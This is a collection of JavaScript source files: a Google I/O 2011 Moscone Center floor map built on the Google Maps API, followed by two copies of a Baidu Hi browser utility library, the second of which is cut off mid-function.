google.maps.event.addListener(map, 'zoom_changed', listener); // Call the listener straight away. The map may already be initialized, // so it will take user input for zoom_changed to be fired. listener(); } }); marker.setValues(opts); return marker; } window['SmartMarker'] = SmartMarker; /** * Creates a new listener to be triggered on 'zoom_changed' event. * Hides and shows the target Marker based on the map's zoom level. * @param {google.maps.Marker} marker The target marker. * @return Function */ SmartMarker.newZoomListener_ = function(marker) { var map = marker.getMap(); return function() { var zoom = map.getZoom(); var minZoom = Number(marker.get('minZoom')); var maxZoom = Number(marker.get('maxZoom')); marker.setVisible(zoom >= minZoom && zoom <= maxZoom); }; };
JavaScript
// Copyright 2011 Google /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * The Google IO Map * @constructor */ var IoMap = function() { var moscone = new google.maps.LatLng(37.78313383211993, -122.40394949913025); /** @type {Node} */ this.mapDiv_ = document.getElementById(this.MAP_ID); var ioStyle = [ { 'featureType': 'road', stylers: [ { hue: '#00aaff' }, { gamma: 1.67 }, { saturation: -24 }, { lightness: -38 } ] },{ 'featureType': 'road', 'elementType': 'labels', stylers: [ { invert_lightness: true } ] }]; /** @type {boolean} */ this.ready_ = false; /** @type {google.maps.Map} */ this.map_ = new google.maps.Map(this.mapDiv_, { zoom: 18, center: moscone, navigationControl: true, mapTypeControl: false, scaleControl: true, mapTypeId: 'io', streetViewControl: false }); var style = /** @type {*} */(new google.maps.StyledMapType(ioStyle)); this.map_.mapTypes.set('io', /** @type {google.maps.MapType} */(style)); google.maps.event.addListenerOnce(this.map_, 'tilesloaded', function() { if (window['MAP_CONTAINER'] !== undefined) { window['MAP_CONTAINER']['onMapReady'](); } }); /** @type {Array.<Floor>} */ this.floors_ = []; for (var i = 0; i < this.LEVELS_.length; i++) { this.floors_.push(new Floor(this.map_)); } this.addLevelControl_(); this.addMapOverlay_(); this.loadMapContent_(); this.initLocationHashWatcher_(); if (!document.location.hash) { this.showLevel(1, true); } } IoMap.prototype = new google.maps.MVCObject; /** * The id of the Element to add the map to. * * @type {string} * @const */ IoMap.prototype.MAP_ID = 'map-canvas'; /** * The levels of the Moscone Center. * * @type {Array.<string>} * @private */ IoMap.prototype.LEVELS_ = ['1', '2', '3']; /** * Location where the tiles are hosted. * * @type {string} * @private */ IoMap.prototype.BASE_TILE_URL_ = 'http://www.gstatic.com/io2010maps/tiles/5/'; /** * The minimum zoom level to show the overlay. * * @type {number} * @private */ IoMap.prototype.MIN_ZOOM_ = 16; /** * The maximum zoom level to show the overlay. * * @type {number} * @private */ IoMap.prototype.MAX_ZOOM_ = 20; /** * The template for loading tiles. Replace {L} with the level, {Z} with the * zoom level, {X} and {Y} with respective tile coordinates. * * @type {string} * @private */ IoMap.prototype.TILE_TEMPLATE_URL_ = IoMap.prototype.BASE_TILE_URL_ + 'L{L}_{Z}_{X}_{Y}.png'; /** * @type {string} * @private */ IoMap.prototype.SIMPLE_TILE_TEMPLATE_URL_ = IoMap.prototype.BASE_TILE_URL_ + '{Z}_{X}_{Y}.png'; /** * The extent of the overlay at certain zoom levels. * * @type {Object.<string, Array.<Array.<number>>>} * @private */ IoMap.prototype.RESOLUTION_BOUNDS_ = { 16: [[10484, 10485], [25328, 25329]], 17: [[20969, 20970], [50657, 50658]], 18: [[41939, 41940], [101315, 101317]], 19: [[83878, 83881], [202631, 202634]], 20: [[167757, 167763], [405263, 405269]] }; /** * The previous hash to compare against. * * @type {string?} * @private */ IoMap.prototype.prevHash_ = null; /** * Initialise the location hash watcher. * * @private */ IoMap.prototype.initLocationHashWatcher_ = function() { var that = this; if ('onhashchange' in window) { window.addEventListener('hashchange', function() { that.parseHash_(); }, true); } else { var that = this window.setInterval(function() { that.parseHash_(); }, 100); } this.parseHash_(); }; /** * Called from Android. * * @param {Number} x A percentage to pan left by. */ IoMap.prototype.panLeft = function(x) { var div = this.map_.getDiv(); var left = div.clientWidth * x; this.map_.panBy(left, 0); }; IoMap.prototype['panLeft'] = IoMap.prototype.panLeft; /** * Adds the level switcher to the top left of the map. * * @private */ IoMap.prototype.addLevelControl_ = function() { var control = new LevelControl(this, this.LEVELS_).getElement(); this.map_.controls[google.maps.ControlPosition.TOP_LEFT].push(control); }; /** * Shows a floor based on the content of location.hash. * * @private */ IoMap.prototype.parseHash_ = function() { var hash = document.location.hash; if (hash == this.prevHash_) { return; } this.prevHash_ = hash; var level = 1; if (hash) { var match = hash.match(/level(\d)(?:\:([\w-]+))?/); if (match && match[1]) { level = parseInt(match[1], 10); } } this.showLevel(level, true); }; /** * Updates location.hash based on the currently shown floor. * * @param {string?} opt_hash */ IoMap.prototype.setHash = function(opt_hash) { var hash = document.location.hash.substring(1); if (hash == opt_hash) { return; } if (opt_hash) { document.location.hash = opt_hash; } else { document.location.hash = 'level' + this.get('level'); } }; IoMap.prototype['setHash'] = IoMap.prototype.setHash; /** * Called from spreadsheets. */ IoMap.prototype.loadSandboxCallback = function(json) { var updated = json['feed']['updated']['$t']; var contentItems = []; var ids = {}; var entries = json['feed']['entry']; for (var i = 0, entry; entry = entries[i]; i++) { var item = {}; item.companyName = entry['gsx$companyname']['$t']; item.companyUrl = entry['gsx$companyurl']['$t']; var p = entry['gsx$companypod']['$t']; item.pod = p; p = p.toLowerCase().replace(/\s+/, ''); item.sessionRoom = p; contentItems.push(item); }; this.sandboxItems_ = contentItems; this.ready_ = true; this.addMapContent_(); }; /** * Called from spreadsheets. * * @param {Object} json The json feed from the spreadsheet. */ IoMap.prototype.loadSessionsCallback = function(json) { var updated = json['feed']['updated']['$t']; var contentItems = []; var ids = {}; var entries = json['feed']['entry']; for (var i = 0, entry; entry = entries[i]; i++) { var item = {}; item.sessionDate = entry['gsx$sessiondate']['$t']; item.sessionAbstract = entry['gsx$sessionabstract']['$t']; item.sessionHashtag = entry['gsx$sessionhashtag']['$t']; item.sessionLevel = entry['gsx$sessionlevel']['$t']; item.sessionTitle = entry['gsx$sessiontitle']['$t']; item.sessionTrack = entry['gsx$sessiontrack']['$t']; item.sessionUrl = entry['gsx$sessionurl']['$t']; item.sessionYoutubeUrl = entry['gsx$sessionyoutubeurl']['$t']; item.sessionTime = entry['gsx$sessiontime']['$t']; item.sessionRoom = entry['gsx$sessionroom']['$t']; item.sessionTags = entry['gsx$sessiontags']['$t']; item.sessionSpeakers = entry['gsx$sessionspeakers']['$t']; if (item.sessionDate.indexOf('10') != -1) { item.sessionDay = 10; } else { item.sessionDay = 11; } var timeParts = item.sessionTime.split('-'); item.sessionStart = this.convertTo24Hour_(timeParts[0]); item.sessionEnd = this.convertTo24Hour_(timeParts[1]); contentItems.push(item); } this.sessionItems_ = contentItems; }; /** * Converts the time in the spread sheet to 24 hour time. * * @param {string} time The time like 10:42am. */ IoMap.prototype.convertTo24Hour_ = function(time) { var pm = time.indexOf('pm') != -1; time = time.replace(/[am|pm]/ig, ''); if (pm) { var bits = time.split(':'); var hr = parseInt(bits[0], 10); if (hr < 12) { time = (hr + 12) + ':' + bits[1]; } } return time; }; /** * Loads the map content from Google Spreadsheets. * * @private */ IoMap.prototype.loadMapContent_ = function() { // Initiate a JSONP request. var that = this; // Add a exposed call back function window['loadSessionsCallback'] = function(json) { that.loadSessionsCallback(json); } // Add a exposed call back function window['loadSandboxCallback'] = function(json) { that.loadSandboxCallback(json); } var key = 'tmaLiaNqIWYYtuuhmIyG0uQ'; var worksheetIDs = { sessions: 'od6', sandbox: 'od4' }; var jsonpUrl = 'http://spreadsheets.google.com/feeds/list/' + key + '/' + worksheetIDs.sessions + '/public/values' + '?alt=json-in-script&callback=loadSessionsCallback'; var script = document.createElement('script'); script.setAttribute('src', jsonpUrl); script.setAttribute('type', 'text/javascript'); document.documentElement.firstChild.appendChild(script); var jsonpUrl = 'http://spreadsheets.google.com/feeds/list/' + key + '/' + worksheetIDs.sandbox + '/public/values' + '?alt=json-in-script&callback=loadSandboxCallback'; var script = document.createElement('script'); script.setAttribute('src', jsonpUrl); script.setAttribute('type', 'text/javascript'); document.documentElement.firstChild.appendChild(script); }; /** * Called from Android. * * @param {string} roomId The id of the room to load. */ IoMap.prototype.showLocationById = function(roomId) { var locations = this.LOCATIONS_; for (var level in locations) { var levelId = level.replace('LEVEL', ''); for (var loc in locations[level]) { var room = locations[level][loc]; if (loc == roomId) { var pos = new google.maps.LatLng(room.lat, room.lng); this.map_.panTo(pos); this.map_.setZoom(19); this.showLevel(levelId); if (room.marker_) { room.marker_.setAnimation(google.maps.Animation.BOUNCE); // Disable the animation after 5 seconds. window.setTimeout(function() { room.marker_.setAnimation(); }, 5000); } return; } } } }; IoMap.prototype['showLocationById'] = IoMap.prototype.showLocationById; /** * Called when the level is changed. Hides and shows floors. */ IoMap.prototype['level_changed'] = function() { var level = this.get('level'); if (this.infoWindow_) { this.infoWindow_.setMap(null); } for (var i = 1, floor; floor = this.floors_[i - 1]; i++) { if (i == level) { floor.show(); } else { floor.hide(); } } this.setHash('level' + level); }; /** * Shows a particular floor. * * @param {string} level The level to show. * @param {boolean=} opt_force if true, changes the floor even if it's already * the current floor. */ IoMap.prototype.showLevel = function(level, opt_force) { if (!opt_force && level == this.get('level')) { return; } this.set('level', level); }; IoMap.prototype['showLevel'] = IoMap.prototype.showLevel; /** * Create a marker with the content item's correct icon. * * @param {Object} item The content item for the marker. * @return {google.maps.Marker} The new marker. * @private */ IoMap.prototype.createContentMarker_ = function(item) { if (!item.icon) { item.icon = 'generic'; } var image; var shadow; switch(item.icon) { case 'generic': case 'info': case 'media': var image = new google.maps.MarkerImage( 'marker-' + item.icon + '.png', new google.maps.Size(30, 28), new google.maps.Point(0, 0), new google.maps.Point(13, 26)); var shadow = new google.maps.MarkerImage( 'marker-shadow.png', new google.maps.Size(30, 28), new google.maps.Point(0,0), new google.maps.Point(13, 26)); break; case 'toilets': var image = new google.maps.MarkerImage( item.icon + '.png', new google.maps.Size(35, 35), new google.maps.Point(0, 0), new google.maps.Point(17, 17)); break; case 'elevator': var image = new google.maps.MarkerImage( item.icon + '.png', new google.maps.Size(48, 26), new google.maps.Point(0, 0), new google.maps.Point(24, 13)); break; } var inactive = item.type == 'inactive'; var latLng = new google.maps.LatLng(item.lat, item.lng); var marker = new SmartMarker({ position: latLng, shadow: shadow, icon: image, title: item.title, minZoom: inactive ? 19 : 18, clickable: !inactive }); marker['type_'] = item.type; if (!inactive) { var that = this; google.maps.event.addListener(marker, 'click', function() { that.openContentInfo_(item); }); } return marker; }; /** * Create a label with the content item's title atribute, if it exists. * * @param {Object} item The content item for the marker. * @return {MapLabel?} The new label. * @private */ IoMap.prototype.createContentLabel_ = function(item) { if (!item.title || item.suppressLabel) { return null; } var latLng = new google.maps.LatLng(item.lat, item.lng); return new MapLabel({ 'text': item.title, 'position': latLng, 'minZoom': item.labelMinZoom || 18, 'align': item.labelAlign || 'center', 'fontColor': item.labelColor, 'fontSize': item.labelSize || 12 }); } /** * Open a info window a content item. * * @param {Object} item A content item with content and a marker. */ IoMap.prototype.openContentInfo_ = function(item) { if (window['MAP_CONTAINER'] !== undefined) { window['MAP_CONTAINER']['openContentInfo'](item.room); return; } var sessionBase = 'http://www.google.com/events/io/2011/sessions.html'; var now = new Date(); var may11 = new Date('May 11, 2011'); var day = now < may11 ? 10 : 11; var type = item.type; var id = item.id; var title = item.title; var content = ['<div class="infowindow">']; var sessions = []; var empty = true; if (item.type == 'session') { if (day == 10) { content.push('<h3>' + title + ' - Tuesday May 10</h3>'); } else { content.push('<h3>' + title + ' - Wednesday May 11</h3>'); } for (var i = 0, session; session = this.sessionItems_[i]; i++) { if (session.sessionRoom == item.room && session.sessionDay == day) { sessions.push(session); empty = false; } } sessions.sort(this.sortSessions_); for (var i = 0, session; session = sessions[i]; i++) { content.push('<div class="session"><div class="session-time">' + session.sessionTime + '</div><div class="session-title"><a href="' + session.sessionUrl + '">' + session.sessionTitle + '</a></div></div>'); } } if (item.type == 'sandbox') { var sandboxName; for (var i = 0, sandbox; sandbox = this.sandboxItems_[i]; i++) { if (sandbox.sessionRoom == item.room) { if (!sandboxName) { sandboxName = sandbox.pod; content.push('<h3>' + sandbox.pod + '</h3>'); content.push('<div class="sandbox">'); } content.push('<div class="sandbox-items"><a href="http://' + sandbox.companyUrl + '">' + sandbox.companyName + '</a></div>'); empty = false; } } content.push('</div>'); empty = false; } if (empty) { return; } content.push('</div>'); var pos = new google.maps.LatLng(item.lat, item.lng); if (!this.infoWindow_) { this.infoWindow_ = new google.maps.InfoWindow(); } this.infoWindow_.setContent(content.join('')); this.infoWindow_.setPosition(pos); this.infoWindow_.open(this.map_); }; /** * A custom sort function to sort the sessions by start time. * * @param {string} a SessionA<enter description here>. * @param {string} b SessionB. * @return {boolean} True if sessionA is after sessionB. */ IoMap.prototype.sortSessions_ = function(a, b) { var aStart = parseInt(a.sessionStart.replace(':', ''), 10); var bStart = parseInt(b.sessionStart.replace(':', ''), 10); return aStart > bStart; }; /** * Adds all overlays (markers, labels) to the map. */ IoMap.prototype.addMapContent_ = function() { if (!this.ready_) { return; } for (var i = 0, level; level = this.LEVELS_[i]; i++) { var floor = this.floors_[i]; var locations = this.LOCATIONS_['LEVEL' + level]; for (var roomId in locations) { var room = locations[roomId]; if (room.room == undefined) { room.room = roomId; } if (room.type != 'label') { var marker = this.createContentMarker_(room); floor.addOverlay(marker); room.marker_ = marker; } var label = this.createContentLabel_(room); floor.addOverlay(label); } } }; /** * Gets the correct tile url for the coordinates and zoom. * * @param {google.maps.Point} coord The coordinate of the tile. * @param {Number} zoom The current zoom level. * @return {string} The url to the tile. */ IoMap.prototype.getTileUrl = function(coord, zoom) { // Ensure that the requested resolution exists for this tile layer. if (this.MIN_ZOOM_ > zoom || zoom > this.MAX_ZOOM_) { return ''; } // Ensure that the requested tile x,y exists. if ((this.RESOLUTION_BOUNDS_[zoom][0][0] > coord.x || coord.x > this.RESOLUTION_BOUNDS_[zoom][0][1]) || (this.RESOLUTION_BOUNDS_[zoom][1][0] > coord.y || coord.y > this.RESOLUTION_BOUNDS_[zoom][1][1])) { return ''; } var template = this.TILE_TEMPLATE_URL_; if (16 <= zoom && zoom <= 17) { template = this.SIMPLE_TILE_TEMPLATE_URL_; } return template .replace('{L}', /** @type string */(this.get('level'))) .replace('{Z}', /** @type string */(zoom)) .replace('{X}', /** @type string */(coord.x)) .replace('{Y}', /** @type string */(coord.y)); }; /** * Add the floor overlay to the map. * * @private */ IoMap.prototype.addMapOverlay_ = function() { var that = this; var overlay = new google.maps.ImageMapType({ getTileUrl: function(coord, zoom) { return that.getTileUrl(coord, zoom); }, tileSize: new google.maps.Size(256, 256) }); google.maps.event.addListener(this, 'level_changed', function() { var overlays = that.map_.overlayMapTypes; if (overlays.length) { overlays.removeAt(0); } overlays.push(overlay); }); }; /** * All the features of the map. * @type {Object.<string, Object.<string, Object.<string, *>>>} */ IoMap.prototype.LOCATIONS_ = { 'LEVEL1': { 'northentrance': { lat: 37.78381535905965, lng: -122.40362226963043, title: 'Entrance', type: 'label', labelColor: '#006600', labelAlign: 'left', labelSize: 10 }, 'eastentrance': { lat: 37.78328434094279, lng: -122.40319311618805, title: 'Entrance', type: 'label', labelColor: '#006600', labelAlign: 'left', labelSize: 10 }, 'lunchroom': { lat: 37.783112633669575, lng: -122.40407556295395, title: 'Lunch Room' }, 'restroom1a': { lat: 37.78372420652042, lng: -122.40396961569786, icon: 'toilets', type: 'inactive', title: 'Restroom', suppressLabel: true }, 'elevator1a': { lat: 37.783669090977035, lng: -122.40389987826347, icon: 'elevator', type: 'inactive', title: 'Elevators', suppressLabel: true }, 'gearpickup': { lat: 37.78367863020862, lng: -122.4037617444992, title: 'Gear Pickup', type: 'label' }, 'checkin': { lat: 37.78334369645064, lng: -122.40335404872894, title: 'Check In', type: 'label' }, 'escalators1': { lat: 37.78353872135503, lng: -122.40336209535599, title: 'Escalators', type: 'label', labelAlign: 'left' } }, 'LEVEL2': { 'escalators2': { lat: 37.78353872135503, lng: -122.40336209535599, title: 'Escalators', type: 'label', labelAlign: 'left', labelMinZoom: 19 }, 'press': { lat: 37.78316774962791, lng: -122.40360751748085, title: 'Press Room', type: 'label' }, 'restroom2a': { lat: 37.7835334217721, lng: -122.40386635065079, icon: 'toilets', type: 'inactive', title: 'Restroom', suppressLabel: true }, 'restroom2b': { lat: 37.78250317562106, lng: -122.40423113107681, icon: 'toilets', type: 'inactive', title: 'Restroom', suppressLabel: true }, 'elevator2a': { lat: 37.783669090977035, lng: -122.40389987826347, icon: 'elevator', type: 'inactive', title: 'Elevators', suppressLabel: true }, '1': { lat: 37.78346240732338, lng: -122.40415401756763, icon: 'media', title: 'Room 1', type: 'session', room: '1' }, '2': { lat: 37.78335005596647, lng: -122.40431495010853, icon: 'media', title: 'Room 2', type: 'session', room: '2' }, '3': { lat: 37.783215446097124, lng: -122.404490634799, icon: 'media', title: 'Room 3', type: 'session', room: '3' }, '4': { lat: 37.78332461789977, lng: -122.40381203591824, icon: 'media', title: 'Room 4', type: 'session', room: '4' }, '5': { lat: 37.783186828219335, lng: -122.4039850383997, icon: 'media', title: 'Room 5', type: 'session', room: '5' }, '6': { lat: 37.783013000871364, lng: -122.40420497953892, icon: 'media', title: 'Room 6', type: 'session', room: '6' }, '7': { lat: 37.7828783903882, lng: -122.40438133478165, icon: 'media', title: 'Room 7', type: 'session', room: '7' }, '8': { lat: 37.78305009820564, lng: -122.40378588438034, icon: 'media', title: 'Room 8', type: 'session', room: '8' }, '9': { lat: 37.78286673120095, lng: -122.40402393043041, icon: 'media', title: 'Room 9', type: 'session', room: '9' }, '10': { lat: 37.782719401312626, lng: -122.40420028567314, icon: 'media', title: 'Room 10', type: 'session', room: '10' }, 'appengine': { lat: 37.783362774996625, lng: -122.40335941314697, type: 'sandbox', icon: 'generic', labelMinZoom: 19, labelAlign: 'right', title: 'App Engine' }, 'chrome': { lat: 37.783730566003555, lng: -122.40378990769386, type: 'sandbox', icon: 'generic', title: 'Chrome' }, 'googleapps': { lat: 37.783303419504094, lng: -122.40320384502411, type: 'sandbox', icon: 'generic', labelMinZoom: 19, title: 'Apps' }, 'geo': { lat: 37.783365954753805, lng: -122.40314483642578, type: 'sandbox', icon: 'generic', labelMinZoom: 19, title: 'Geo' }, 'accessibility': { lat: 37.783414711013485, lng: -122.40342646837234, type: 'sandbox', icon: 'generic', labelMinZoom: 19, labelAlign: 'right', title: 'Accessibility' }, 'developertools': { lat: 37.783457107734876, lng: -122.40347877144814, type: 'sandbox', icon: 'generic', labelMinZoom: 19, labelAlign: 'right', title: 'Dev Tools' }, 'commerce': { lat: 37.78349102509448, lng: -122.40351900458336, type: 'sandbox', icon: 'generic', labelMinZoom: 19, labelAlign: 'right', title: 'Commerce' }, 'youtube': { lat: 37.783537661438515, lng: -122.40358605980873, type: 'sandbox', icon: 'generic', labelMinZoom: 19, labelAlign: 'right', title: 'YouTube' }, 'officehoursfloor2a': { lat: 37.78249045644304, lng: -122.40410104393959, title: 'Office Hours', type: 'label' }, 'officehoursfloor2': { lat: 37.78266852473624, lng: -122.40387573838234, title: 'Office Hours', type: 'label' }, 'officehoursfloor2b': { lat: 37.782844472747406, lng: -122.40365579724312, title: 'Office Hours', type: 'label' } }, 'LEVEL3': { 'escalators3': { lat: 37.78353872135503, lng: -122.40336209535599, title: 'Escalators', type: 'label', labelAlign: 'left' }, 'restroom3a': { lat: 37.78372420652042, lng: -122.40396961569786, icon: 'toilets', type: 'inactive', title: 'Restroom', suppressLabel: true }, 'restroom3b': { lat: 37.78250317562106, lng: -122.40423113107681, icon: 'toilets', type: 'inactive', title: 'Restroom', suppressLabel: true }, 'elevator3a': { lat: 37.783669090977035, lng: -122.40389987826347, icon: 'elevator', type: 'inactive', title: 'Elevators', suppressLabel: true }, 'keynote': { lat: 37.783250423488326, lng: -122.40417748689651, icon: 'media', title: 'Keynote', type: 'label' }, '11': { lat: 37.78283069370135, lng: -122.40408763289452, icon: 'media', title: 'Room 11', type: 'session', room: '11' }, 'googletv': { lat: 37.7837125474666, lng: -122.40362092852592, type: 'sandbox', icon: 'generic', title: 'Google TV' }, 'android': { lat: 37.783530242022124, lng: -122.40358874201775, type: 'sandbox', icon: 'generic', title: 'Android' }, 'officehoursfloor3': { lat: 37.782843412820846, lng: -122.40365579724312, title: 'Office Hours', type: 'label' }, 'officehoursfloor3a': { lat: 37.78267170452323, lng: -122.40387842059135, title: 'Office Hours', type: 'label' } } }; google.maps.event.addDomListener(window, 'load', function() { window['IoMap'] = new IoMap(); });
JavaScript
/* declare namespace */ (function(){ var namespaces = [ "System","BdElement", "BdBrowser", "BdEvent", "BdUtil", "BdAjax","BdString"]; for(var i = 0, j = namespaces.length; i < j; i ++){ if(window[namespaces[i]] != 'object') window[namespaces[i]] = {}; } })(); /* attach methods */ (function(){ /* BdBrowser scope */ var ua = navigator.userAgent.toLowerCase(); var isStrict = document.compatMode == "CSS1Compat", isOpera = ua.indexOf("opera") > -1, isSafari = (/webkit|khtml/).test(ua), isSafari3 = isSafari && ua.indexOf('webkit/5') != -1, isIE = !isOpera && ua.indexOf("msie") > -1, isIE7 = !isOpera && ua.indexOf("msie 7") > -1, isGecko = !isSafari && ua.indexOf("gecko") > -1, isBorderBox = isIE && !isStrict, isWindows = (ua.indexOf("windows") != -1 || ua.indexOf("win32") != -1), isMac = (ua.indexOf("macintosh") != -1 || ua.indexOf("mac os x") != -1), isAir = (ua.indexOf("adobeair") != -1), isLinux = (ua.indexOf("linux") != -1), isSecure = window.location.href.toLowerCase().indexOf("https") === 0; // remove css image flicker if(isIE && !isIE7){ try{ document.execCommand("BackgroundImageCache", false, true); }catch(e){} } var browsers = { isOpera : isOpera, isSafari : isSafari, isSafari3 : isSafari3, isSafari2 : isSafari && !isSafari3, isIE : isIE, isIE6 : isIE && !isIE7, isIE7 : isIE7, isGecko : isGecko, isBorderBox : isBorderBox, isLinux : isLinux, isWindows : isWindows, isMac : isMac, isAir : isAir }; for(var p in browsers){ BdBrowser[p] = browsers[p]; } /* BdElement scope */ window.Bd$ = BdElement.check = function(id){ return typeof id == 'string' ? document.getElementById(id) : id; } BdElement.removeNode = isIE ? function(){ var d; return function(node){ if(node && node.tagName != 'BODY'){ d = d || document.createElement('DIV'); d.appendChild(node); d.innerHTML = ''; } } }() : function(node){ if(node && node.parentNode && node.tagName != 'BODY'){ node.parentNode.removeChild(node); } } /* BdEvent scope */ BdEvent.addEvent = function(el, fn, handler){ if(isIE){ el.attachEvent("on" + fn, handler); }else{ el.addEventListener(fn, handler, false); } } BdEvent.removeEvent = function(el, fn, handler){ if(isIE){ el.detachEvent("on" + fn, handler); }else{ el.removeEventListener(fn, handler, false); } } BdEvent.addDOMLoadEvent = (function(){ // create event function stack var load_events = [], load_timer, script, done, exec, old_onload, init = function () { done = true; // kill the timer clearInterval(load_timer); // execute each function in the stack in the order they were added while (exec = load_events.shift()) setTimeout(exec, 10); if (script) script.onreadystatechange = ''; }; return function (func) { // if the init function was already ran, just run this function now and stop if (done) return func(); if (!load_events[0]) { // for Mozilla/Opera9 if (document.addEventListener) document.addEventListener("DOMContentLoaded", init, false); // for Internet Explorer /*@cc_on @*/ /*@if (@_win32) document.write("<script id=__ie_onload defer src=//0><\/scr"+"ipt>"); script = document.getElementById("__ie_onload"); script.onreadystatechange = function() { if (this.readyState == "complete") init(); // call the onload handler }; /*@end @*/ // for Safari if (/WebKit/i.test(navigator.userAgent)) { // sniff load_timer = setInterval(function() { if (/loaded|complete/.test(document.readyState)) init(); // call the onload handler }, 10); } // for other browsers set the window.onload, but also execute the old window.onload old_onload = window.onload; window.onload = function() { init(); if (old_onload) old_onload(); }; } load_events.push(func); } })(); /* BdUtil scope */ BdUtil.insertWBR = (function(){ var textAreaCache = null; function getContainer(){ var textarea = document.getElementById('insertWBR_container'); if(!textarea){ textarea = document.createElement('TEXTAREA'); textarea.id = 'insertWBR_container'; textarea.style.display = 'none'; document.body.insertBefore(textarea, document.body.firstChild); } return (textAreaCache = textarea) } return function(text, step){ var textarea = textAreaCache || getContainer(); if(!textarea) return text; textarea.innerHTML = text.replace(/&/g,'&amp;').replace(/</g,"&lt;").replace(/>/g,"&gt;"); var string = textarea.value; var step = (step || 5), reg = new RegExp("(\\S{" + step + "})", "gi"); var result = string.replace(/(<[^>]+>)/gi,"$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function(a,b,c,d){ if(c.length < step) return a; return b + c.replace(reg, "$1<wbr/>") + d; }).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g,'&$1$3;'); return result; } })(); BdUtil.hi_tracker = (function(){ function E(s){ return encodeURIComponent(s) } function tracker(mn, a){ return function(){ var t = new Date().getTime(), href = a.href; if(isIE){ var regex = /href\s*=\s*("|')?([^\s]*)\1/gi; if(regex.test(a.outerHTML)) href = RegExp.$2; } new Image().src = "http://hi.baidu.com/sys/statlog/1.gif?m=" + E(mn) + "&v=" + E(href) + "&t="+t; } } return function(mod_id_or_el, mod_name){ var bl = (typeof mod_id_or_el == 'string'), el = bl ? document.getElementById(mod_id_or_el) : mod_id_or_el, mn = mod_name || (bl ? mod_id_or_el : el.tagName), as = el.nodeName.toUpperCase() == 'A' ? [el] : el.getElementsByTagName('A'); if(!as || as.length <= 0) return false; for(var i = 0, j = as.length; i < j; i ++){ var a = as[i]; isIE ? a.attachEvent("onclick", tracker(mn, a)) : a.addEventListener("click", tracker(mn, a), false); } } })(); /* BdAjax scope */ BdAjax.getXHR = function(){ var xhr = null; try{ return (xhr = new XMLHttpRequest()); }catch(e){} for(var i = 0, a = ['MSXML3','MSXML2','Microsoft']; i < a.length; i ++){ try{ xhr = new ActiveXObject(a[i]+'.XMLHTTP'); break; }catch(e){} } return xhr; } BdAjax.request = function(url, json){ var xhr = this.getXHR(); if(!xhr){ throw new Error("cant't initialize xhr instance."); } var options={}; options.method = (json.method || 'get').toLowerCase(); options.asyn = true; options.onSuccess = json.onSuccess || function(){}; options.onFailure = json.onFailure || function(){ new Image().src = "/sys/statlog/1.gif?m=ajax-request&v=" + encodeURIComponent(url) + "&t=" + new Date().getTime();}; options.postData = json.postData || null; xhr.open(options.method, url, options.asyn); if("post" == options.method.toLowerCase()){ xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); } xhr.onreadystatechange = function(){ if(xhr.readyState == 4){ if(xhr.status == 0 || xhr.status == 200){ options.onSuccess(xhr); }else{ options.onFailure(xhr); } } } xhr.send(options.postData); } BdAjax.loadJS=(function() { var head ; return function(jsUrl){ head = head || document.getElementsByTagName("head")[0]; var s=document.createElement("script"); s.type="text/javascript"; s.src=jsUrl; head.appendChild(s); } })(); BdString.trim=function(str) { return str.replace(/(^[\s\t\xa0\u3000]+)|([\u3000\xa0\s\t]+$)/g, ""); } BdString.byteLength = function(str){ return str.replace(/[^\x00-\xFF]/g, "ly").length; } BdString.subByte = function(s, n){ if(this.byteLength(s)<=n) return s; for(var i=Math.floor((n=n-2)/2),l=s.length; i<l; i++) if(this.byteLength(s.substr(0,i))>=n) return s.substr(0,i) +"\u2026"; return s; } })();
JavaScript
/* declare namespace */ (function(){ var namespaces = [ "System","BdElement", "BdBrowser", "BdEvent", "BdUtil", "BdAjax","BdString"]; for(var i = 0, j = namespaces.length; i < j; i ++){ if(window[namespaces[i]] != 'object') window[namespaces[i]] = {}; } })(); /* attach methods */ (function(){ /* BdBrowser scope */ var ua = navigator.userAgent.toLowerCase(); var isStrict = document.compatMode == "CSS1Compat", isOpera = ua.indexOf("opera") > -1, isSafari = (/webkit|khtml/).test(ua), isSafari3 = isSafari && ua.indexOf('webkit/5') != -1, isIE = !isOpera && ua.indexOf("msie") > -1, isIE7 = !isOpera && ua.indexOf("msie 7") > -1, isGecko = !isSafari && ua.indexOf("gecko") > -1, isBorderBox = isIE && !isStrict, isWindows = (ua.indexOf("windows") != -1 || ua.indexOf("win32") != -1), isMac = (ua.indexOf("macintosh") != -1 || ua.indexOf("mac os x") != -1), isAir = (ua.indexOf("adobeair") != -1), isLinux = (ua.indexOf("linux") != -1), isSecure = window.location.href.toLowerCase().indexOf("https") === 0; // remove css image flicker if(isIE && !isIE7){ try{ document.execCommand("BackgroundImageCache", false, true); }catch(e){} } var browsers = { isOpera : isOpera, isSafari : isSafari, isSafari3 : isSafari3, isSafari2 : isSafari && !isSafari3, isIE : isIE, isIE6 : isIE && !isIE7, isIE7 : isIE7, isGecko : isGecko, isBorderBox : isBorderBox, isLinux : isLinux, isWindows : isWindows, isMac : isMac, isAir : isAir }; for(var p in browsers){ BdBrowser[p] = browsers[p]; } /* BdElement scope */ window.Bd$ = BdElement.check = function(id){ return typeof id == 'string' ? document.getElementById(id) : id; } BdElement.removeNode = isIE ? function(){ var d; return function(node){ if(node && node.tagName != 'BODY'){ d = d || document.createElement('DIV'); d.appendChild(node); d.innerHTML = ''; } } }() : function(node){ if(node && node.parentNode && node.tagName != 'BODY'){ node.parentNode.removeChild(node); } } /* BdEvent scope */ BdEvent.addEvent = function(el, fn, handler){ if(isIE){ el.attachEvent("on" + fn, handler); }else{ el.addEventListener(fn, handler, false); } } BdEvent.removeEvent = function(el, fn, handler){ if(isIE){ el.detachEvent("on" + fn, handler); }else{ el.removeEventListener(fn, handler, false); } } BdEvent.addDOMLoadEvent = (function(){ // create event function stack var load_events = [], load_timer, script, done, exec, old_onload, init = function () { done = true; // kill the timer clearInterval(load_timer); // execute each function in the stack in the order they were added while (exec = load_events.shift()) setTimeout(exec, 10); if (script) script.onreadystatechange = ''; }; return function (func) 